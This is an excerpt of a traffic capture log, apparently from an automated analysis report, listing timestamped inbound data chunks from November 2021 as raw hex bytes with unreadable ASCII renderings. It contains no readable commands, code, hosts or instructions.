b2 e1 4d e4 db 01 56 0b 54 bc 24 e1 43 bd 4e 7f 0e e8 12 13 0e c9 df d3 aa b2 de 27 bc e2 19 11 ab 52 a8 2b f9 49 dd a2 
9d 19 ea 87 76 f6 c6 2b 8f 5c 21 ab 2f 8a 3d 29 90 
Data Ascii: x#$gRAJ8!"Y1S&}z:QiS&<gR@4u%2~Jtq^L%CXV3W\ _;HxN85W!p`0Xu_1N:=tSa>K+zK{P&\YVFM
VT$CN'R+Iv+\!/=)

2021-11-24 20:00:29 UTC 99 IN Data Raw: f9 ce 10 df 0c 7e 17 5d b6 62 84 f1 d4 ca 7e 0c 31 79 87 f9 23 59 03 95 c7 b2 81 2d dc a2 da f5 88 fa 82 9b 27 
0b 29 62 c9 e7 26 dd 1e 25 e8 25 d9 dd 92 32 ed 8e 74 fd 56 04 ca f9 a6 3d ed e0 86 fc 26 85 01 4b 45 45 24 84 d1 2c e1 
08 13 24 14 04 bd 0a f5 a7 5f 57 c7 fa d9 e8 30 b1 65 93 b9 89 e1 04 bc 41 84 8d 02 bb 0a aa b3 18 1c 8c 79 72 79 23 c7 
02 0f 73 d8 cb 1f 58 9e 54 f0 17 86 0e bb 71 ca 0a 14 33 52 86 b1 d3 3a 97 f3 cc ed 22 a1 3d 12 ff 62 5c 08 be cd 5a 51 20
76 30 58 10 47 26 fe d3 0b bf 24 f5 94 95 47 15 84 ab 7d fd 1d f5 e9 ac e7 36 9b 25 e4 5e e5 7a 87 3a ff 3b 20 f1 6b e5 9f 
d7 c7 1f 93 4d c7 8e da 8d fb 96 a3 3c e7 e3 7a 59 a7 69 5d 89 47 2a 13 2d 24 42 0f df b4 b6 d3 ba 28 74 63 75 94 ef 8a 
54 50 1a 85 13 aa 3e 2e fc 20 4e 10 44 42 12 e1 
Data Ascii: ~]b~1y#Y-')b&%%2tV=&KEE$,$_W0eAyry#sXTq3R:"=b\ZQ v0XG&$G}6%^z:; kM<zYi]G*-$B(tcuTP>. NDB

2021-11-24 20:00:29 UTC 100 IN Data Raw: 72 1d 42 3f 21 00 46 3b fb 03 54 0e 5d 0a 83 90 72 68 75 92 96 09 07 dd eb 36 08 e2 4b 86 4c 27 7c 98 4d f8 
40 17 84 c1 c7 6c 7e dd 74 01 05 27 cf 32 f2 61 f5 3d 4c c0 43 62 a1 bb 7c e2 27 5d b1 9d fc cf ef fe a2 f7 04 e7 a5 f1 c9 
39 42 f1 6a 04 f1 0b 25 59 ee bc c1 b5 59 9b 6c a0 73 aa ef f1 30 9e 5c 29 82 5e ed 2c 66 e0 a6 af bc c9 87 e5 cb e5 62 8f 
74 3a f3 92 5d 09 e3 32 11 6a 2c 66 8a 0e ad 0b 79 56 4f dd 2b 39 cf 5e b5 7e 6d d5 c5 3c bd e8 1b 18 41 2d 74 5e ca f0 
78 b8 8f 3b de 25 27 46 5e d7 4a 42 db 7b 18 bb f8 64 ce c8 55 5a f0 5d ff e2 e8 40 ad 4a a2 1e ec 05 1b 6b c3 da d3 bf 
be d7 dc c6 d4 1f 12 b8 70 9d 49 ce 4c dd b7 f6 c4 15 86 5c d5 c3 27 bd d8 27 ab 34 a3 9d 09 9f 4d 1c b0 bf ff 5b bb f6 de 
ca a0 7a a5 79 b9 ea ac 1d 69 1c 25 1f 68 b9 ea 
Data Ascii: rB?!F;T]rhu6KL'|M@l~t'2a=LCb|']9Bj%YYls0\)^,fbt:]2j,fyVO+9^~m<A-t^x;%'F^JB{dUZ]@JkpIL\''4M[zyi%h

Timestamp
kBytes
transferred Direction Data
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2021-11-24 20:00:29 UTC 102 IN Data Raw: ae 92 21 64 b9 c6 f9 87 04 92 b2 37 1a ac 46 e4 e8 20 9f 9b 26 e8 21 ff 60 81 34 ed 80 61 f1 4a fa da d0 ae 32 
68 ef ab f0 2a 82 2d ec 1d ba d1 6d d6 4d 5b 0d 13 3f 0e 00 50 0d d9 b0 72 a2 c0 0d cb c1 27 a2 1b 86 46 88 c9 1c 96 a3 
96 8c 08 a9 2b 45 e4 e7 e3 9a 75 6e 6a 34 c2 0c 06 92 cc 19 04 76 83 54 f0 09 86 0e bb f6 f3 05 75 75 4e 82 df 5c 43 5c 
9d 65 eb 3d bb 31 01 ec 75 59 06 b4 2c 40 83 29 52 05 8c 67 56 2a ed d2 09 ad 5a f2 6b 94 6f 7f 40 a1 66 e8 30 6f fa a9 f2
30 7f 4b 61 57 dd 19 67 d9 13 22 31 f3 68 fa 99 2c d1 cd 85 63 bf 98 c8 88 ff 91 8e b3 1b e2 5c 4c a8 15 f1 89 56 25 13 22 
c9 45 23 cc 99 ac e2 a7 d4 a7 d4 5d ef e1 98 64 51 04 0d 3a aa 3e f7 ef 25 4e 17 29 4d 43 7d d4 c2 d8 f9 65 e2 c6 c2 b3 
e1 11 9c 27 92 3b 85 4b cf 23 e5 04 f1 9f 10 46 
Data Ascii: !d7F &!`4aJ2h*-mM[?Pr'F+Eunj4vTuuN\C\e=1uY,@)RgV*Zko@f0o0KaWg"1h,c\LV%"E#]dQ:>%N)MC}e';K#F

2021-11-24 20:00:29 UTC 103 IN Data Raw: 37 0c e0 4f 16 4a 2f 19 fb 53 97 e3 46 93 c0 06 73 69 cd 25 06 0a ee 3b 3b f2 64 e5 41 1f c0 52 6c 62 a5 a8 e3 
0a 57 b3 e6 f0 ce e9 fa b8 5a b3 5b 8d 68 cb 39 53 d7 77 6b 5f 0a 25 53 2d a6 d2 a0 5b da 13 b1 66 54 ea a8 05 a6 cc d6 
50 aa da 17 77 e4 a0 cd 3b d4 97 11 b0 cb 25 e2 c6 35 f2 94 53 27 58 ac 13 60 2b 58 07 63 04 01 75 55 2e 5f 38 3d c5 67 
71 60 66 2d d7 14 92 85 f4 14 40 27 63 5a 9a c1 6b be a3 c1 55 27 2d 5f 31 d6 20 56 b5 ed 1e 6d da d5 e6 ca 0f 5d eb 3a 
39 28 e9 4a b4 6a af 0b e8 05 1a 0d 24 da ff ac b4 bd d7 bc ce 1a 0d 91 49 01 30 ea 47 cb ab f6 a9 14 86 50 ed c2 25 95 
5e 21 b4 30 70 26 fb ba 5d 61 40 a8 d8 5f a1 60 9a 9d a0 7b a2 ac ad a5 93 49 61 0b 3c 45 f0 df 3a b2 36 d4 ef 57 dc 0e 
b8 ec 5f 0a 30 12 66 c5 be 91 f9 10 42 f3 fc a5 5f de 
Data Ascii: 7OJ/SFsi%;;dARlbWZ[h9Swk_%S-[fTPw;%5S'X`+XcuU._8=gq`f-@'cZkU'-_1 Vm]:9(Jj$I0GP%^!0p&]a@_
`{Ia<E:6W_0fB_

2021-11-24 20:00:29 UTC 104 IN Data Raw: 88 31 bd 93 1c e0 52 04 df 93 3f 32 13 eb a3 2a 96 fa 78 69 1e ba df 64 d5 31 fa 0d 02 3d 0e 0b bd 0a f5 90 77 
ed a6 e7 cb ed 34 a3 30 f3 67 89 cd 0e b8 2b 92 08 93 de 5d 0a b2 e7 e3 90 00 28 ce a7 c1 4d 7b ad d8 e7 01 44 fd 37 f6 
27 86 0e bb e0 6f a1 cb 5d c6 88 c0 59 ab 45 de c1 fd 3a a6 f4 af ec 74 4a 11 ad 23 48 75 28 6f 2f 91 0c a6 2a c1 df 33 db 
de 10 95 8b 7a 03 9a a0 77 e6 07 e0 06 a8 d4 2c 6d 4b 3f 57 dd 19 67 d3 13 2c 31 f3 66 fa 99 2c d1 cd 98 69 ab 3c c9 88 
f1 98 be 39 11 e2 47 52 af 71 a6 88 7a 3f 08 3c cc 45 ad 6a f0 e8 eb 59 df 80 83 53 87 e7 99 75 5d 04 7e 10 86 37 ce fe 
de a0 ed 20 5b 00 e9 c5 d6 c7 f0 d0 7f fb c4 bc e5 85 8d 33 83 3c 3d a4 cb 15 f8 38 68 b6 af a1 e5 8b 75 99 21 a6 16 22 
d5 97 c6 5b 0b db d3 cc 9f b1 8c 9b b5 14 44 c5 78 
Data Ascii: 1R?2*xid1=w40g+](M{D7'o]YE:tJ#Hu(o/*3zw,mK?Wg,1f,i<9GRqz?<EjYSu]~7 [3<=8hu!"[Dx

2021-11-24 20:00:29 UTC 106 IN Data Raw: d7 99 fc 7e 14 c3 4b 77 77 6a 7e 69 24 4d bb 90 e1 c5 fa f6 bf c5 0c f2 ae 0f c8 15 55 c8 70 1c b2 50 da a6 cd 
a3 cd b7 53 cb 06 a6 6a 54 ea a8 00 9d d2 9f b5 6a 0d 03 64 e0 b9 cf 37 cb 96 e7 ae eb cc e1 91 2a f6 ef 4c 20 70 34 04 
0e 61 28 18 0c ad 1e 78 4c 39 4e 3a 31 da 63 8b 7e 41 da c7 3e ac b4 d7 05 57 34 6f 58 f0 c5 75 ad 59 af f0 2a 2e 5d 45 
02 73 cc b6 ed 10 a8 f4 56 f0 d9 0d 4b e4 5d 8d d6 e8 6c a1 61 ab 4f 07 ea e1 ef c4 c8 db bb a7 ce ce 43 cf 32 11 a4 72 
90 32 fb 45 c4 4d 98 2c 1a 82 59 7d 66 3b 4f 58 ff b8 39 82 3d c4 99 5f 0b 46 b6 c2 a5 ba c1 b9 95 b7 ac a3 ba a0 a9 cb 
d5 79 14 3c 15 92 d7 0e a2 a2 cc f1 74 fd f9 51 09 2f bf 23 1a 6c cb b9 9d f0 ee 52 db f7 b8 a2 d7 36 0a 31 49 bd 79 80 0b 
0c 16 ff 99 f9 3a 24 f9 d5 ef dd 02 f1 0a c9 f6 dd 
Data Ascii: ~Kwwj~i$MUpPSjTjd7*L p4a(xL9N:1c~A>W4oXuY*.]EsVK]laOC2r2EM,Y}f;OX9=_Fy<tQ/#lR61Iy:$

2021-11-24 20:00:29 UTC 107 IN Data Raw: 27 e3 0b 9f cd 11 1a 42 23 ea a0 74 b7 da 88 c4 ec 30 a4 0f 15 45 88 c7 86 2f 3a 94 8d 14 97 af 2b 4d ed cf 94 
7c 7d a7 41 c0 0c 08 f0 c8 e6 05 5e 9b 47 8f 10 ed d4 08 e8 ab 3f e8 5d d7 81 a2 46 54 44 f6 ce 90 33 b0 2e 13 f6 65 36 
87 b0 33 51 5b 2a 05 29 8f 1c 5c 29 96 c6 0a ae 25 f9 7b 90 dc 7f c9 a0 66 e4 3e f7 83 a7 f9 26 61 2d de 38 4d 11 78 cf 26 
33 3b 3c 4c e7 f5 dc d1 e1 96 0e 42 94 c9 82 ed ed 9b 42 e7 1d a9 84 bc 52 6f 89 56 25 24 02 da 43 29 03 9f a5 c1 5f ff ca 
80 5f 94 ef 99 64 55 08 80 11 aa 88 f7 fc 20 97 13 3f 52 1f e1 c5 c7 d5 e6 2e 7f c4 f7 a9 f6 a5 8d 22 8b 2b 19 5a db 2f f1 38
76 8e 12 4a e4 75 73 9b 2a 9d 15 25 bf 69 c7 77 e9 cc d8 dd 8e a2 59 81 99 11 78 39 52 0a 8e 46 c9 07 c9 ae f8 51 08 b5 
49 d3 17 30 35 33 ad 1e c2 de b9 1c 4e ef 
Data Ascii: 'B#t0E/:+M|}A^G?]FTD3.e63Q[*)\)%{f>&a-8Mx&3;<LBBRoV%$C)__dU ?R."+Z/8vJus*%iwYx9RFQI053N

2021-11-24 20:00:29 UTC 108 IN Data Raw: 1d cd 39 5f d7 e2 03 f6 0a 24 4d 26 a8 d6 8c fc cb 17 a4 54 81 b1 83 18 b6 b1 2c af 53 d3 8f 63 e0 a0 dd 2b df 
93 c7 12 e7 32 ea a9 13 1d 90 57 27 66 bd 16 60 21 4f 0d 18 b9 29 d6 5f 31 44 03 28 c5 76 7f 73 65 c7 fe d7 bf 87 89 0d 
cc 20 67 58 e0 de 6e af a3 b8 f4 d5 29 55 5d 76 4a 43 a0 f9 0e 93 51 49 e4 c0 2d ff f5 55 9a 04 eb 6b 93 61 a8 27 05 10 
1e 16 cc 56 d4 bb b6 c7 cd a9 da 36 b1 bc 61 92 26 c2 bc d9 b3 9f 16 99 81 5a f3 d0 35 81 5b 0d 08 3e 8e 2d ff 22 5f 1a 
44 81 6c 5b bb e7 8b f3 5f 85 50 a2 af 92 31 d1 68 1a 35 83 6b d6 22 af be c9 e2 62 e3 07 ae fc 18 f9 30 12 66 d0 6f 92 d8 
38 64 f7 e3 b7 ac c9 23 2e df 61 81 72 5e 01 77 27 fe 99 fd 64 36 ea dd ef cc 0a ef f4 c8 da d2 88 f6 3a ce 1d a7 b5 45 d8 
12 8e 95 63 8c 66 e0 a4 8f da 89 9a 33 3a 7a 87 
Data Ascii: 9_$M&T,Sc+2W'f`!O)_1D(vse gXn)U]vJCQI-Uka'V6a&Z5[>-"_Dl[_P1h5k"b0fo8d#.ar^w'd6:Ecf3:z

2021-11-24 20:00:29 UTC 109 IN Data Raw: af 55 53 8c 02 b5 09 53 b2 18 1c 4e 7c 66 68 47 f9 1d 00 8c f5 eb 14 4b ec 6d 8b 07 86 61 e8 ff 7d b8 1f 75 22 
84 df 50 7f 43 d8 cc eb 3d f0 4a 17 ff 71 59 17 b2 1e 5b 7d 28 75 27 8e 1c 60 2b ed d6 07 ae 21 ef 6a 94 6b 10 90 a0 66 
ee 5c f5 f8 a9 d2 27 65 24 a6 56 dd 13 6e c5 00 24 31 e2 6e e5 8c d2 d0 e1 19 60 c4 96 d1 88 fb 87 05 2b 19 e2 5a 5a b0 
7a 58 89 56 2f 0e 3a da 43 9a dc 9f b3 71 59 d5 8b cf 5d 94 ef 8f 64 55 1a 80 11 aa 3e ed cc 29 5f e7 3d 52 13 0d c5 c7 de 
f8 a3 55 d7 c7 aa e5 84 fe 97 8b 23 13 49 cc 28 fc 07 45 0a 17 5d 1c 63 d2 9e 32 96 14 31 a7 86 c8 4d fa d2 71 cc 87 a9 
a8 91 ba 07 47 2c f4 c6 8c 3d d2 15 d9 bb c2 3d 1d 01 4f c3 00 12 90 2c b7 3c 5f cf a9 00 f6 23 02 f1 37 74 3e 55 09 97 d9 
43 cc ef 83 74 9d f8 8b c6 08 14 20 d4 6d 1c a6 
Data Ascii: USSN|fhGKma}u"PC=JqY[}(u'`+!jkf\'e$Vn$1n`+ZZzXV/:CqY]dU>)_=RU#I(E]c21MqG,==O,<_#7t>UCt m

2021-11-24 20:00:29 UTC 111 IN Data Raw: 5c 28 af 55 c5 02 03 87 a0 c9 25 cb 87 ee aa d7 31 e0 11 3b f3 94 b9 21 70 21 39 67 24 4e 1f 7f 16 03 75 55 
3d 46 44 85 c7 76 7f 72 13 40 d6 38 b1 8c 86 75 22 27 67 52 f2 cb 41 e6 b6 a8 b3 41 2d 55 51 a0 19 47 b4 ec 09 bf f5 37 
77 ca 05 41 9a 4c 91 28 e3 6c 87 77 b8 27 e0 11 1e 16 b5 1b d1 bb bc ee 6d bd ce 14 3e ae 70 9c 1a e3 48 dd b5 f6 c0 16 
86 50 9c c4 21 95 45 2e ba 3a e1 e6 d5 91 55 1d 66 4c db 5b bd 93 22 9d a0 70 c0 dd bb ba c9 de 79 1a 4c 68 6c d6 28 
83 35 03 fa 5b 46 2b a9 e7 36 cc 67 12 6c d0 6d 85 f7 ce 46 d2 cb 8a a1 df 23 15 e2 49 8b 7d 80 07 7b 25 c6 99 fd 2f f4 ea 
db c5 cd 16 ef f4 ca da ca 7b 9a bf ce e2 a6 b5 45 c8 12 8e 95 79 19 f3 e1 aa a5 df 89 1f 29 0a 72 6d 80 2b 2d ab fb 3a 51 
9b 1e a0 ab f3 e1 fd 81 64 90 d0 28 b4 07 e7 60 6c e5 
Data Ascii: \(U%1;!p!9g$NuU=FDvr@8u"'gRAA-UQG7wAL(lw'm>pHP!E.:UfL["pyLhl(5[F+6glmF#I}{%/{Ey)rm+-:Qd(`l

2021-11-24 20:00:29 UTC 112 IN Data Raw: 40 e4 f3 86 0e b9 d7 6a b3 c3 57 ff d7 dd 56 53 6c dc ce eb 3b de 56 17 ff 79 54 15 b4 5c 91 7f 28 74 38 82 06 
4f 44 19 d7 0b a8 37 c7 7b 95 6b 1a 9e a7 4e ff 1d f5 fe c6 e1 27 65 2e f1 e0 dc 13 78 ed 12 21 31 e4 63 ec a6 c1 d5 e1 
94 0e dd 97 c9 82 d7 8b af 02 0d e7 56 5c 98 5e 58 89 5c 22 0e 3c b5 89 21 dd 95 ac d3 43 c3 e4 68 5e 94 e9 b1 73 54 1a
8a 39 fd 3c f6 fa 08 71 10 3f 54 7c 99 c5 c7 c5 ce 1b 7c d7 cd b8 f1 9a 9e 2a b3 72 18 5a ca 28 fd 11 16 b9 14 5d 1e 1b 94 
9b 32 9c cf 3a 71 80 1c 4c 3d 56 c6 dd 89 bb b4 89 a3 02 54 39 02 de 8d 3d d7 69 02 a8 d2 21 d0 85 86 c4 cd 29 26 3f bd 
1d 41 cf b0 07 6c 0d 1b 8f f2 60 a4 77 10 86 d1 91 04 2b 92 7e 9e 08 49 de 1f 71 fc e1 6c 1a 84 f8 a3 04 51 40 43 81 27 0f 
9f b6 45 2d d0 42 3e ed 61 e7 d7 c7 37 e5 2b 37 
Data Ascii: @jWVSl;VyT\(t8OD7{kN'e.x!1cV\^X\"<!Ch^sT9<q?T||*rZ(]2:qL=VT9=i!)&?Al`w+~IqlQ@C'E-B>a7+7

2021-11-24 20:00:29 UTC 113 IN Data Raw: 1c 02 68 af f9 1a 82 1a 08 6d 89 eb 70 88 3b c5 76 6a 6c 7e d8 d6 29 b0 9a 71 1b 6d 2b 76 52 fe fd 2a f5 59 51 
23 3b 3e 5e 5b c5 50 58 96 13 1b 97 fb 71 9a c9 05 4b ea 76 83 23 e9 51 a0 79 f8 f1 e9 38 12 19 cb d2 ed 28 b5 c6 d9 a2 
8b 0d 19 bc 70 93 2d db b3 dc 9f 92 03 1d 91 8c 62 c2 25 8a 7d 36 a0 3e 9f 2c c8 8f a1 1b 62 b8 df 34 47 ec b1 9b b1 7c 
c0 77 b9 ba c9 ca 77 0f 28 0e 7d dd 3d 88 54 dc da 6c 49 10 78 f1 5f 5f 31 12 6a dd de 7e fc 10 55 98 33 bf a1 d5 3e dc 88
b0 83 78 8a 6e 8b 0c fe 9f 2b 28 35 cd ce e4 cc 1b e4 eb c3 24 d3 57 e3 3d a1 14 a7 b5 43 df c8 99 43 f4 a7 66 e1 be b3 
c0 85 0d 39 3a 6b 66 25 30 d3 aa 38 31 22 8a 34 ab a8 e0 e1 f6 b5 b5 99 d0 33 97 09 f4 9e 67 c4 10 ec 2c 3e 6b 4f 64 9c 
ba 10 4e af e0 b0 14 ab 12 25 f5 41 1a b2 6a 72 15 
Data Ascii: hmp;vjl~)qm+vR*YQ#;>^[PXqKv#Qy8(p-b%}6>,b4G|ww(}=TlIx__1j~U3>xn+(5$W=CCf9:kf%081"43g,>kO
dN%Ajr

Timestamp
kBytes
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2021-11-24 20:00:29 UTC 114 IN Data Raw: 52 72 a3 0e 22 06 bf 36 e4 36 9c 05 5d 0a fb 03 7e 96 7e b2 9d 32 07 4f df c8 17 e9 74 81 48 3e 18 f2 70 06 4b 
6a 9e c9 97 ca 73 d1 f3 cd 1d fd da 04 cd 6c fd 43 10 df 53 96 7c 90 47 e5 49 b1 b0 9d f8 de ec 91 6d d6 04 e7 ba e0 da 
32 59 d0 64 1b ca f4 24 75 27 b5 d9 72 58 c2 00 78 e3 7c e8 0a bb a0 bf d6 50 aa da 3f 77 eb a0 cd 34 d4 be 11 b0 cb 22 
f1 b5 38 fa 83 81 b0 1f cb 10 60 27 51 23 1f a6 01 64 54 2e 75 d5 38 e9 65 76 76 7a 05 47 2f 61 90 59 97 6a 27 67 59 ed 
d2 56 ad ac ae cd 2e 32 79 a5 d5 77 56 b3 82 e6 ba f2 4f f5 cd 6a 99 f7 55 9a 37 c4 53 a0 66 ad 04 f7 57 e0 11 f6 d3 da 
ac 60 cb c6 f9 dd 15 12 ad 6a 87 16 14 4c f1 a2 9a 09 0c 50 52 e5 c0 25 bd 57 24 ab 34 91 02 c4 9a 5f 0b 45 b1 26 5a 97 
e4 c2 9d a2 7a a9 ae a2 a9 c8 d5 79 17 38 f0 6d fa 24 
Data Ascii: Rr"66]~~2OtH>pKjslCS|GIm2Yd$u'rXx|P?w4"8`'Q#dT.u8evvzG/aYj'gYV.2ywVOjU7SfW`jLPR%W$4_E&Zz
y8m$

2021-11-24 20:00:29 UTC 115 IN Data Raw: b2 fa 6f 65 a8 c4 89 b4 fb 93 94 54 3a d7 63 e5 e8 24 a6 30 64 b3 09 71 6b 92 38 5a ec 24 ef 53 00 d9 fe c2 73 
12 e1 ae e7 f4 83 d3 f8 34 ba db 7a b3 67 f3 0d 17 1f 11 1a 43 18 e9 a4 74 c2 d9 f3 ca 1a 30 a0 71 9e 54 8d f5 63 bf 3a 94
8c 13 ba 2c 23 b3 e6 cf 96 62 5d 66 38 d1 18 00 9c dc fa fb 5b b5 41 89 7c c2 0f bf fb 7f c9 85 5c d7 84 d7 40 56 6c c7 cd 
eb 37 af 3d 12 ff 62 5c 0e 4c 32 77 78 3e 73 3d 9d 19 58 3a e8 cc f5 af 0d fe 68 ef 2c 11 92 a4 64 95 5e f4 f8 ad 22 2c 7e 
37 cd 57 cc 16 6f 3b 01 08 32 fa 7d e0 8e c3 d5 fe 98 9f c5 af 5e 88 fb 87 a4 51 5c e3 56 5e b2 01 1e 88 56 2b 04 2c dc 6b 
16 dc 9f b9 e9 5b a9 cc 9d 5f 90 f9 b1 6e 55 1a ab 6c ec 3f f6 f8 29 59 c4 32 6a c7 e1 c5 c7 cc ef f4 6d d3 c5 a9 e1 e2 8b 
20 8b 25 64 1f cb 39 fe 02 69 8c 6e 1e 
Data Ascii: oeT:c$0dqk8Z$Ss4zgCt0qTc:,#b]f8[A|\@Vl7=b\L2wx>s=X:h,d^",~7Wo;2}^Q\V^V+,k[_nUl?)Y2jm %d9in

2021-11-24 20:00:29 UTC 116 IN Data Raw: ab 19 ec 4f 29 48 2f 19 fc 45 ee da 6a 99 db 1e 6b e0 e1 34 17 0e f3 c8 12 cf 67 fd 58 17 dc 50 65 7d ad 5b fd 
35 b3 b0 b1 f3 de e1 e9 2f ed e3 ec a5 f1 d6 2d 4a cc 6f 15 fb 15 28 a7 33 90 cb b5 5e dc c1 bd 77 b5 e5 97 01 9e 4d 25 
b0 5a 3b 03 48 ea a3 e5 91 cb 87 ef ae f7 21 ed bd 2a fe 8d a9 20 5c 2e 13 1b 68 4f 19 08 bb 08 01 de 31 4e 2a 2f c7 0d 
3c 7e 6d d7 58 8f 93 b2 8e 1a 4b 3d 74 55 e1 dc 67 a1 be 50 dd 09 3d 57 20 90 5a 47 b0 f8 5a 11 f3 49 e4 d5 1f 58 f8 55 
81 25 f4 be aa 4a b2 17 ea 6f 54 11 da df c0 b2 a5 c2 c7 ae c3 1e 03 b1 7b 66 33 c6 6e df c8 dd 01 14 82 72 f4 d3 21 93 
59 2c df bf 8e 27 d6 93 24 53 4f a9 dc d5 0c f7 99 a8 a1 7a a5 be a8 b7 c3 c4 65 0b dd 0f 40 d5 3a bd a7 dd e7 47 5f 09 50
f7 1c ae 21 17 7d d0 8f 4d fd 10 53 e8 ec ae ac df 
Data Ascii: O)H/Ejk4gXPe}[5/-Jo(3^wM%Z;H!* \.hO1N*/<~mXK=tUgP=W ZGZIXU%JoT{f3nr!Y,'$SOze@:G_P!}MS

2021-11-24 20:00:29 UTC 118 IN Data Raw: 92 32 ec 11 2b ef 53 00 f1 e2 aa 00 16 e1 0d f0 2e 94 fe 75 1f ab cd 68 cb 09 b1 0d 02 30 06 e4 42 27 da b9 67 
b8 d8 e2 cf f4 ce a1 4c 8d 53 a2 d7 19 bb 3a 85 89 1a 41 32 06 43 e5 8c 59 6a 77 73 2a 9f 0b 2e 97 c0 f4 00 5a 88 53 9d 
f9 86 22 bc e8 6e b7 c3 4c d2 9a 21 57 79 46 d9 ce c0 86 b3 41 de ff 73 53 7b 91 33 5b 7d 28 7e 27 8e 5c 03 08 ed d6 0b 
ae 21 ef 9a ab 32 38 03 a0 66 e4 af e2 2e 24 d3 26 65 25 c3 41 da 9d cf d2 da 37 35 ef 45 c7 8c db c8 39 8a 0e 2b 96 c9 
82 f7 80 af 22 39 e1 54 5a b0 52 ba 8b 56 25 24 d9 d8 43 29 41 96 a4 3d 54 dc 9a 98 6e 4d e8 b3 64 46 2a 83 11 15 3e f6 
fc dc 5f 12 2e 44 00 e4 fd 6c cf e6 2e 7e c6 c2 b2 08 8c a1 24 89 30 1d 40 d9 3c fa 02 68 94 eb 5c 36 71 49 94 29 85 10 
22 b8 92 d1 a5 ea f7 d0 c5 9a bf a7 91 b0 0d ad 3a 55 
Data Ascii: 2+S.uh0B'gLS:A2CYjws*.ZS"nL!WyFAsS{3[}(~'\!28f.$&e%A75E9+"9TZRV%$C)A=TnMdF*>_.Dl.~$0@<h\
6qI)":U

2021-11-24 20:00:29 UTC 119 IN Data Raw: f6 20 fc 52 11 d1 4a 7e 55 98 53 e2 20 22 3b 9c fe c9 86 66 bf d4 0e e6 b4 f5 c1 56 ae c0 6f 02 fb 1b 22 4d 1a 
53 c5 a4 5d dc 9a a9 72 aa ea 97 12 8f 42 3e 87 70 c0 02 62 42 b1 c2 2b df 93 c7 12 e7 32 ea ac 3c e7 bc b8 25 70 36 06 
ed 26 4e 19 0d be 1e 64 40 27 66 0d 3c c5 70 d7 6e 72 c7 c2 2c 93 24 8f 1a 4b 0f 5a 5a e1 c7 42 0a a7 ae d6 1c e0 54 5b 
d4 52 53 9c 2e 19 bb f4 5e 69 cd 05 4b f4 46 b0 39 c9 56 bd ea 83 0f e8 15 bc 01 fa cf c7 af 9e 65 d9 bd c4 0a 3a 7f 62 98 
34 fd c0 da b3 99 01 07 a7 4b d2 c7 37 19 70 25 ab 3f 2c 36 f6 85 4b 0e 66 0a d8 5b b1 f9 99 5e a3 7a a9 b2 36 bd c3 d5 
69 0f 01 1f 4e c0 35 22 95 dd f6 4b e2 16 8c e2 24 b7 18 b1 6c da bb 96 d5 d3 50 f7 e5 aa 2c d8 29 06 e6 72 a2 69 a3 17 
67 81 c1 99 fd 24 88 fb fe fb d8 1e c7 57 c8 da d8 
Data Ascii:  RJ~US ";fVo"MS]rB>pbB+2<%p6&Nd@'f<pnr,$KZZBT[RS.^iKF9Ve:b4K7p%?,6Kf[^z6iN5"K$lP,)rig$W

2021-11-24 20:00:29 UTC 120 IN Data Raw: 30 f2 0d 08 b5 5d 1b 43 0f a7 ed 75 bd dc f9 17 1b 32 a0 60 ad 6f bf cd 0a b4 29 86 98 08 97 0b 2a 4d ed 3e 72 
68 77 79 30 ea 3a 05 8d df cf 21 5a 99 5c a3 36 87 0e b5 c6 b4 b0 c3 5d c1 0d f4 56 55 45 e1 d7 e9 15 96 2b 17 f9 5b 7d 
17 b2 39 28 8e 29 7e 21 9d 08 49 3f 82 27 0a ae 27 80 8c 96 6b 1a 81 85 5e e0 19 f5 f8 bb dd 0e 82 26 c8 5d 51 39 78 c5 
1b 37 2d f3 72 f1 a6 fa d4 e1 94 77 49 91 c9 88 fa 93 b2 3e 31 41 56 5a ba 52 70 8c 56 29 1a 12 32 41 23 d7 8e af ff 71 fd 
8f 9c 59 82 62 9e 64 55 1b 94 05 be 16 55 fc 20 55 3a 16 57 13 e7 d3 ef 27 e4 2e 74 ff 2e a9 f6 87 9c 3e 9f 0b 31 5e ca 3f 
ec 9e 6a 8e 15 5c 0e 60 4b b1 91 96 15 28 81 bd c3 5b ed cd fb 35 8b ba ad a8 5c 11 53 31 51 5d 8c 3d d9 2a d4 bb ce 3f 
22 1a 5d d3 11 2c ba 2b b7 36 78 ca ad 02 4e ac 
Data Ascii: 0]Cu2`o)*M>rhwy0:!Z\6]VUE+[}9()~!I?''k^&]Q9x7-rwI>1AVZRpV)2A#qYbdUU U:W'.t.>1^?j\`K([5\S1Q]=*?"],+
6xN

2021-11-24 20:00:29 UTC 122 IN Data Raw: ee d3 2a 4e c1 7e 13 eb f4 24 75 34 aa d2 b0 45 d8 00 ae 63 bd f4 ae f2 9f 70 27 be 41 d4 17 ea 57 9f 37 3f cb 
87 f0 9a f4 25 e0 ac 2c ec 99 a9 20 5c 27 00 65 09 65 1c 0c ab 29 51 5f 31 44 03 ac c5 76 7f 6c 65 cc d8 2b ac 87 9e 0d 
5e 0e 99 59 cd c7 7b aa b0 78 cf 31 32 7f 48 c3 5b 56 a3 f2 08 45 f3 65 ed f2 77 b4 0a aa 8f 3b fa 57 ab 77 ab 10 f6 ea 1f 
3c f4 ca de d4 4a c7 d9 bb d8 71 c3 be 61 92 5d 16 4c dd b5 8e 6f c5 84 5a f9 be dd 94 4f 23 bc 51 5f 25 d7 9b 30 e4 4f a9 
de 48 b4 f2 ae 8e b7 7a be b2 a4 a2 3d d4 44 16 2a 37 1a d7 22 ae b5 c4 e5 5d 40 16 b9 ed ce a2 1c 1b 12 49 b1 82 f7 1d 
4f e4 f4 bd b0 c8 36 17 19 60 ad 6a 96 10 78 62 32 98 fd 2f 3d 30 ce f9 df 00 f0 e6 db cd d2 6a e0 20 30 ef 8a bf 3b 5b 12 
8e 9f 6a 88 7d f2 a8 bf ce 9e 00 cc 3b 56 64 
Data Ascii: *N~$u4Ecp'AW7?%, \'ee)Q_1Dvle+^Y{x12H[VEew;Ww<Jqa]LoZO#Q_%0OHz=D*7"]@IO6`jxb2/=0j 0;[j};Vd

2021-11-24 20:00:29 UTC 123 IN Data Raw: be 3c 87 83 13 b2 5c d6 4c e7 e5 86 05 a6 7b 32 c8 72 fc 8c d9 e1 1d 35 48 54 8b 0d e8 f0 be ff 7b a1 cd 4c d9 
fe 93 57 55 40 e3 c3 c3 21 b3 2e 11 ec 78 2a 35 b0 33 5d 6e 38 6f 37 86 73 70 29 ed d0 1a be 30 e3 42 b9 6e 10 94 88 48 
ec 18 f3 d0 45 fa 26 6f 4b ec 55 dd 15 69 d5 11 2f 19 cf 6b e5 88 fa fe e3 92 67 ec 7a cb 88 f1 e8 80 28 19 e4 47 4a b3 15 
